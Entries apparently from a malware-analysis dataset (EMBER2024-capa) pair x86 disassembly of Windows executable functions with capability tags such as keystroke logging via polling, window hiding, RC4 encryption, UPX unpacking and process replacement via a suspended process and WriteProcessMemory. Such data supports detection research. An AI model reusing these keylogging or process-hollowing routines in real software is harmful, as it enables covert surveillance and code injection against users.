joyce8/EMBER2024-capa huggingface dataset:
Function at 0x517bf0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
sub esp, 0x14c
xor ecx, ecx
mov dword [esp + 0x13c], ebx
mov ebx, eax
mov dword [esp + 0x140], esi
mov esi, edx
mov dword [esp + 0x144], edi
mov dword [esp + 0x148], ebp
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.USER32.dll_MapVirtualKeyA
sub esp, 8
mov edi, eax
mov edx, dword [esp + 0x150]
test edx, edx
setne al
cmp ebx, 0x14
sete dl
or eax, edx
test al, 1
jne 0x517c59
cmp ebx, 0x91
sete al
cmp ebx, 0x90
sete dl
or eax, edx
test al, 1
je 0x517ca7
xor edx, edx
cmp ebx, 0x91
ja 0x517c82
cmp ebx, 0x11
je 0x517daf
ja 0x517d90
cmp ebx, 0x10
je 0x517dd7
mov edx, dword [ebx*4 + 0x5b2940]
mov ebx, dword [esp + 0x13c]
mov eax, edx
mov esi, dword [esp + 0x140]
mov edi, dword [esp + 0x144]
mov ebp, dword [esp + 0x148]
add esp, 0x14c
ret
mov dword [esp], ebx
mov eax, 2
mov dword [esp + 4], eax
call sub.USER32.dll_MapVirtualKeyA
sub esp, 8
cmp eax, 0x7fff
mov edx, 0xff20
ja 0x517c82
mov eax, 0x100
lea ebp, [esp + 0x30]
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], ebp
call sub.msvcrt.dll_memset
test esi, 1
je 0x517cef
mov byte [esp + 0x40], pe_nt_image_headers32
test esi, 4
je 0x517cfc
mov byte [esp + 0x41], pe_nt_image_headers32
test esi, 0x10
je 0x517d09
mov byte [esp + 0x42], pe_nt_image_headers32
test esi, 2
je 0x517d16
mov byte [esp + 0x44], 1
test esi, 0x20
je 0x517d27
mov al, 1
mov byte [esp + 0xc1], al
and esi, 8
je 0x517d35
mov al, 1
mov byte [esp + 0xc0], al
mov dword [esp + 8], ebp
xor eax, eax
lea esi, [esp + 0x2c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.USER32.dll_ToAscii
sub esp, 0x14
test eax, eax
js 0x517e5d
cmp eax, 2
je 0x517ded
dec eax
jne 0x517c59
movzx eax, byte [esp + 0x2c]
cmp al, 0x1f
jbe 0x517c59
cmp al, 0x7f
movzx edx, al
jne 0x517c82
jmp 0x517c59
cmp ebx, 0x12
jne 0x517c7b
mov dword [esp], 0xa5
call sub.USER32.dll_GetKeyState
sub esp, 4
mov edx, 0xffea
jmp 0x517dc3
mov dword [esp], 0xa3
call sub.USER32.dll_GetKeyState
sub esp, 4
mov edx, 0xffe4
test al, al
js 0x517c82
mov edx, dword [ebx*4 + 0x5b2940]
jmp 0x517c82
mov dword [esp], 0xa1
call sub.USER32.dll_GetKeyState
sub esp, 4
mov edx, 0xffe2
jmp 0x517dc3
movsx eax, byte [esp + 0x2c]
xor edi, edi
mov dword [esp], eax
call sub.USER32.dll_VkKeyScanA
movsx ebx, ax
sub esp, 4
mov eax, ebx
mov dword [esp + 4], edi
sar eax, 8
and ebx, 0xff
mov dword [esp + 0x28], eax
mov dword [esp], ebx
call sub.USER32.dll_MapVirtualKeyA
sub esp, 8
xor edx, edx
mov ecx, 0x100
mov dword [esp + 8], ecx
mov edi, eax
mov dword [esp + 4], edx
mov dword [esp], ebp
call sub.msvcrt.dll_memset
test byte [esp + 0x28], 1
je 0x517e45
mov byte [esp + 0x40], pe_nt_image_headers32
test byte [esp + 0x28], 2
je 0x517e51
mov byte [esp + 0x41], pe_nt_image_headers32
test byte [esp + 0x28], 4
je 0x517e5d
mov byte [esp + 0x42], pe_nt_image_headers32
mov dword [esp + 0xc], esi
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.USER32.dll_ToAscii
sub esp, 0x14
mov edx, 0xff20
jmp 0x517c82
Function at 0x518480
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
xor eax, eax
mov edx, dword [esp + 0x14]
test edx, edx
je 0x5184a1
jmp 0x518498
inc eax
cmp eax, 0x91
jg 0x5184a5
cmp dword [eax*4 + 0x5b2940], edx
jne 0x518490
add esp, 0xc
ret
cmp edx, 0x1f
ja 0x5184b0
xor eax, eax
add esp, 0xc
ret
movsx eax, dl
mov dword [esp], eax
call sub.USER32.dll_VkKeyScanA
cwde
sub esp, 4
cmp ax, 0xffff
je 0x5184aa
and eax, 0xff
add esp, 0xc
ret
Function at 0x556f60
Capabilities:
Hide graphical window

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xbc
xor ebx, ebx
mov eax, dword [0x5ef9a0]
lea edi, [esp + 0x72]
mov esi, dword [esp + 0xd0]
call dword [eax + 0xc]
cld
mov ecx, 3
mov edx, 3
mov dword [esp + 0x84], edx
mov ebp, eax
mov eax, dword [0x5e24eb]
mov dword [esp + 0x94], ebp
mov dword [esp + 0x60], eax
mov eax, dword [0x5e24ef]
mov dword [esp + 0x64], eax
mov eax, dword [0x5e24f3]
mov dword [esp + 0x68], eax
mov eax, dword [0x5e24f7]
mov dword [esp + 0x6c], eax
movzx eax, word [0x5e24fb]
mov word [esp + 0x70], ax
mov eax, ebx
rep stosd dword es:[edi], eax
mov word [edi], 0
mov eax, dword [0x5e250b]
lea edi, [esp + 0x51]
mov ecx, 3
mov dword [esp + 0x40], eax
mov eax, dword [0x5e250f]
mov dword [esp + 0x44], eax
mov eax, dword [0x5e2513]
mov dword [esp + 0x48], eax
mov eax, dword [0x5e2517]
mov dword [esp + 0x4c], eax
movzx eax, byte [0x5e251b]
mov byte [esp + 0x50], al
mov eax, ebx
rep stosd dword es:[edi], eax
mov word [edi], 0
mov eax, 0x556e30
mov ecx, 0x30
mov dword [esp + 0x88], eax
xor eax, eax
mov dword [esp + 0x8c], eax
xor eax, eax
mov byte [edi + 2], 0
mov edi, 5
mov dword [esp + 0x90], eax
mov eax, 0x7f00
mov dword [esp + 0x80], ecx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.USER32.dll_LoadIconA
sub esp, 8
mov dword [esp + 0x98], eax
mov eax, 0x7f00
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.USER32.dll_LoadIconA
sub esp, 8
mov dword [esp + 0xac], eax
mov eax, 0x7f00
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.USER32.dll_LoadCursorA
sub esp, 8
mov dword [esp + 0x9c], eax
lea eax, [esp + 0x80]
mov dword [esp + 0xa0], edi
lea edi, [esp + 0x40]
mov dword [esp + 0xa4], edi
mov dword [esp + 0xa8], edi
mov dword [esp], eax
call sub.USER32.dll_RegisterClassExA
sub esp, 4
test ax, ax
jne 0x557110
mov dword [esp + 4], ebx
mov edi, 0x556e10
mov dword [esp + 8], edi
mov dword [esp], esi
call fcn.00559a30
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.005735b0
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00572350
add esp, 0xbc
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x28], ebp
mov eax, 0x80000000
xor ecx, ecx
mov dword [esp + 0x1c], eax
mov eax, 0x80000000
xor edx, edx
mov dword [esp + 0x18], eax
mov eax, 0x80000000
xor ebx, ebx
mov dword [esp + 0x14], eax
mov eax, 0x80000000
xor ebp, ebp
mov dword [esp + 0x10], eax
mov eax, 0xcf0000
mov dword [esp + 0xc], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], 0
call sub.USER32.dll_CreateWindowExA
sub esp, 0x30
mov ebx, eax
mov eax, 0xffffffeb
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.USER32.dll_SetWindowLongA
sub esp, 0xc
mov dword [esp + 4], ebp
mov dword [esp], ebx
call sub.USER32.dll_ShowWindow
sub esp, 8
mov dword [esp], ebx
call sub.USER32.dll_UpdateWindow
sub esp, 4
jmp 0x5570d4
Function at 0x57cb80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
push esi
push ebx
sub esp, 0x1c
mov eax, dword [eax + 0x2c]
mov edx, dword [edi + 0x74]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], edx
jmp 0x57cc59
mov ebx, dword [edi]
mov edx, dword [ebx + 4]
mov dword [ebp - 0x18], ebx
test edx, edx
je 0x57cd10
mov eax, dword [edi + 0x38]
mov ebx, edx
add esi, eax
mov eax, dword [edi + 0x74]
add esi, eax
cmp edx, dword [ebp - 0x10]
jbe 0x57cbc4
mov ebx, dword [ebp - 0x10]
xor ecx, ecx
test ebx, ebx
je 0x57cc0e
mov eax, dword [ebp - 0x18]
sub edx, ebx
mov ecx, dword [eax + 0x1c]
mov dword [eax + 4], edx
mov edx, eax
mov eax, dword [ecx + 0x18]
cmp eax, 1
je 0x57cd18
cmp eax, 2
je 0x57cd38
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
mov dword [esp], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_memcpy
mov esi, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [edi + 0x74]
add dword [esi], ebx
add dword [esi + 8], ebx
lea esi, [eax + ecx]
cmp esi, 2
mov dword [ebp - 0x1c], esi
mov dword [edi + 0x74], esi
jbe 0x57cc3d
mov ebx, dword [edi + 0x6c]
mov edx, dword [edi + 0x38]
mov ecx, dword [edi + 0x58]
movzx eax, byte [ebx + edx]
mov dword [edi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + ebx + 1]
mov ebx, dword [edi + 0x54]
xor eax, ecx
and eax, ebx
mov dword [edi + 0x48], eax
cmp esi, 0x105
ja 0x57cd10
mov eax, dword [edi]
mov esi, dword [eax + 4]
test esi, esi
je 0x57cd10
mov eax, dword [edi + 0x2c]
mov ecx, dword [edi + 0x3c]
mov ebx, dword [ebp - 0x1c]
mov esi, dword [edi + 0x6c]
sub ecx, ebx
sub ecx, esi
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x14]
lea eax, [eax + ecx - 0x106]
cmp esi, eax
jb 0x57cba0
mov dword [esp + 8], ecx
mov esi, dword [edi + 0x38]
mov ebx, ecx
mov dword [esp], esi
add ebx, esi
mov dword [esp + 4], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x14]
mov esi, dword [edi + 0x6c]
mov ecx, dword [edi + 0x4c]
sub dword [edi + 0x70], eax
mov edx, dword [edi + 0x44]
sub esi, eax
sub dword [edi + 0x5c], eax
mov dword [edi + 0x6c], esi
lea eax, [edx + ecx*2]
lea esi, [esi]
sub eax, 2
xor ebx, ebx
movzx edx, word [eax]
cmp edx, dword [ebp - 0x14]
jb 0x57ccc4
mov ebx, edx
mov edx, dword [ebp - 0x14]
sub ebx, edx
mov word [eax], bx
dec ecx
jne 0x57ccb0
mov ecx, dword [ebp - 0x14]
mov eax, dword [edi + 0x40]
lea eax, [eax + ecx*2]
lea esi, [esi]
lea edi, [edi]
sub eax, 2
xor ebx, ebx
movzx edx, word [eax]
cmp edx, dword [ebp - 0x14]
jb 0x57ccf4
mov ebx, edx
mov edx, dword [ebp - 0x14]
sub ebx, edx
mov word [eax], bx
dec ecx
jne 0x57cce0
mov ebx, dword [edi]
mov ecx, dword [ebp - 0x14]
add dword [ebp - 0x10], ecx
mov edx, dword [ebx + 4]
mov dword [ebp - 0x18], ebx
test edx, edx
jne 0x57cbb0
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov eax, dword [edx]
mov dword [esp + 4], eax
mov ecx, dword [edx + 0x30]
mov dword [esp], ecx
call fcn.0057ff80
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 0x30], eax
jmp 0x57cbec
mov dword [esp + 8], ebx
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
mov dword [esp + 4], eax
mov ecx, dword [edx + 0x30]
mov dword [esp], ecx
call fcn.0057dd00
jmp 0x57cd2d
Function at 0x57f5d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
test ebx, ebx
je 0x57f5ec
cmp byte [ebx + 0x5c], 0x77
je 0x57f600
add esp, 0x1c
mov eax, 0xfffffffe
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [ebx], edi
test esi, esi
mov ecx, esi
mov dword [ebx + 4], esi
je 0x57f67c
mov edx, dword [ebx + 0x10]
nop
test edx, edx
jne 0x57f651
mov eax, dword [ebx + 0x48]
mov ecx, 0x4000
mov edx, dword [ebx + 0x40]
mov dword [ebx + 0xc], eax
mov dword [esp + 0xc], edx
mov edx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
cmp eax, 0x4000
jne 0x57f6a1
mov dword [ebx + 0x10], 0x4000
mov ecx, dword [ebx + 4]
mov edx, 0x4000
add dword [ebx + 0x64], ecx
xor eax, eax
add dword [ebx + 0x68], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0057b470
mov dword [ebx + 0x38], eax
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 0x10]
sub dword [ebx + 0x64], ecx
sub dword [ebx + 0x68], edx
test eax, eax
jne 0x57f67c
test ecx, ecx
jne 0x57f610
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov edi, dword [ebx + 0x4c]
mov dword [esp], edi
call fcn.0057dd00
mov dword [ebx + 0x4c], eax
mov eax, esi
mov esi, dword [ebx + 4]
add esp, 0x1c
pop ebx
sub eax, esi
pop esi
pop edi
pop ebp
ret
mov dword [ebx + 0x38], 0xffffffff
jmp 0x57f67c
Function at 0x57fbd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x57fd69
cmp byte [ebx + 0x5c], 0x77
je 0x57fbf8
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.0057e7f0
mov dword [ebx + 4], 0
mov edx, dword [ebx + 0x10]
xor edi, edi
lea esi, [esi]
lea edi, [edi]
mov eax, 0x4000
mov esi, eax
sub esi, edx
jne 0x57fd20
test edi, edi
jne 0x57fd55
mov ecx, dword [ebx + 0x10]
mov edi, 4
add dword [ebx + 0x68], ecx
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.0057b470
mov edx, dword [ebx + 0x10]
sub dword [ebx + 0x68], edx
test esi, esi
jne 0x57fc51
cmp eax, 0xfffffffb
je 0x57fcf0
mov dword [ebx + 0x38], eax
xor edi, edi
test edx, edx
jne 0x57fd10
mov eax, dword [ebx + 0x38]
cmp eax, 1
je 0x57fd13
cmp eax, 1
jbe 0x57fc10
cmp eax, 1
je 0x57fc7c
test eax, eax
jne 0x57fbea
mov esi, dword [ebx + 0x40]
mov edi, 3
mov dword [ebp - 0x10], esi
mov esi, dword [ebx + 0x4c]
lea esi, [esi]
mov edx, dword [ebp - 0x10]
mov eax, esi
and eax, 0xff
mov dword [esp], eax
shr esi, 8
mov dword [esp + 4], edx
call sub.msvcrt.dll_fputc
dec edi
jns 0x57fc90
mov edi, dword [ebx + 0x40]
mov esi, dword [ebx + 0x64]
mov dword [ebp - 0x14], edi
mov edi, 3
lea esi, [esi]
mov eax, dword [ebp - 0x14]
mov ecx, esi
and ecx, 0xff
mov dword [esp], ecx
shr esi, 8
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputc
dec edi
jns 0x57fcc0
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.0057e7f0
mov dword [ebx + 0x38], 0
xor edi, edi
test edx, edx
je 0x57fc5e
jmp 0x57fd10
mov eax, dword [ebx + 0x38]
mov edi, 1
jmp 0x57fc6a
mov eax, dword [ebx + 0x40]
mov ecx, 1
mov dword [esp + 8], esi
mov dword [esp + 4], ecx
mov dword [esp + 0xc], eax
mov edx, dword [ebx + 0x48]
mov dword [esp], edx
call sub.msvcrt.dll_fwrite
cmp eax, esi
jne 0x57fd5d
mov dword [ebx + 0x10], 0x4000
mov edx, dword [ebx + 0x48]
mov dword [ebx + 0xc], edx
jmp 0x57fc1f
mov eax, dword [ebx + 0x38]
jmp 0x57fc6f
mov dword [ebx + 0x38], 0xffffffff
jmp 0x57fbea
add esp, 0x1c
mov eax, 0xfffffffe
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x5934c0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00593af0
call fcn.00593670
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x5934f8
jmp 0x593594
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x5934f7
cmp cl, 0x22
je 0x593550
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test edx, eax
je 0x593570
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x593570
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test edx, eax
jne 0x593530
jmp 0x593570
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test edx, eax
jne 0x593550
cmp cl, 0x22
je 0x5935d0
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x59358e
inc ebx
movzx eax, byte [ebx]
cmp al, 0x20
sete dl
cmp al, 9
sete al
or eax, edx
test al, 1
jne 0x593580
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x5935b2
movzx edx, word [ebp - 0x28]
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040eab0
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x593570
Function at 0x401000
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push 0x4032a4
call sub.kernel32.dll_GetStartupInfoA
push 0x4032e8
push 0x4032a4
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push str.temp.exe
call sub.kernel32.dll_CreateProcessA
cmp eax, 0
je 0x40107b
mov eax, dword [0x403256]
push 0
push 0x218
push section..data
push eax
push dword [0x4032e8]
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 0
je 0x401095
push dword [0x4032ec]
call sub.kernel32.dll_ResumeThread
push dword [0x4032e8]
call sub.kernel32.dll_CloseHandle
push dword [0x4032ec]
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess
push 0
push 0x403263
push 0x40326c
push 0
call sub.user32.dll_MessageBoxA
push 0
call sub.kernel32.dll_ExitProcess
push 0
push 0x403289
push 0x40326c
push 0
call sub.user32.dll_MessageBoxA
push 0
call sub.kernel32.dll_ExitProcess
int3
Function at 0x608de0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x136000]
push edi
or ebp, 0xffffffff
jmp 0x608e02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x608e09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x608df8
mov eax, 1
add ebx, ebx
jne 0x608e1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x608e2c
jne 0x608e4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x608e4b
dec eax
add ebx, ebx
jne 0x608e38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x608e10
add ebx, ebx
jne 0x608e47
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x608e9d
xor ecx, ecx
sub eax, 3
jb 0x608e63
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x608ed2
sar eax, 1
mov ebp, eax
jmp 0x608e6e
add ebx, ebx
jne 0x608e6e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x608e3c
inc ecx
add ebx, ebx
jne 0x608e7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x608e3c
add ebx, ebx
jne 0x608e89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x608e7e
jne 0x608e9a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x608e7e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x608ebc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x608eae
jmp 0x608dfe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x608ebc
add edi, ecx
jmp 0x608dfe
pop esi
mov edi, esi
mov ecx, 0x36b0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x608eda
cmp byte [edi], 0x24
jne 0x608eda
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x608edf
lea edi, [esi + 0x205000]
mov eax, dword [edi]
or eax, eax
je 0x608f57
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x20f960]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x20fa64]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x608f0c
mov ecx, edi
jns 0x608f3b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x20fa68]
or eax, eax
je 0x608f51
mov dword [ebx], eax
add ebx, 4
jmp 0x608f29
call dword [esi + 0x20fa78]
mov ebp, dword [esi + 0x20fa6c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x608f8b
sub esp, 0xffffff80
jmp 0x47454b
Function at 0x4030c0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004048f8
test esi, esi
jne 0x4030f6
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004049e8
jmp 0x403114
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402fc4
mov edi, eax
test esi, esi
je 0x403114
cmp dword [ebx], 0
je 0x403114
dec esi
jmp 0x4030fd
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403148
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x470008], 0x8088405
inc edx
mov dword [ebx + 0x470008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403830
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x470024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4038c8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4038a8
xor eax, eax
push ebp
push 0x4038a1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4038e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4038a8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x470024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x470024], ax
mov esp, ebp
pop ebp
ret

Function at 0x4046c4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x47c04c], 0
je 0x404725
cmp word [0x47c220], 0xd7b2
jne 0x4046ed
cmp dword [0x47c228], 0
jbe 0x4046ed
mov eax, 0x47c21c
call dword [0x47c238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40474c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x470030], 0
jne 0x404741
push 0
push 0x47075c
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x40487c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x470034], 0
je 0x4048a2
mov edx, esi
mov eax, ebx
call dword [0x470034]
jmp 0x4048b1
mov eax, 8
call fcn.00402cd4
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x47c04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404844
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc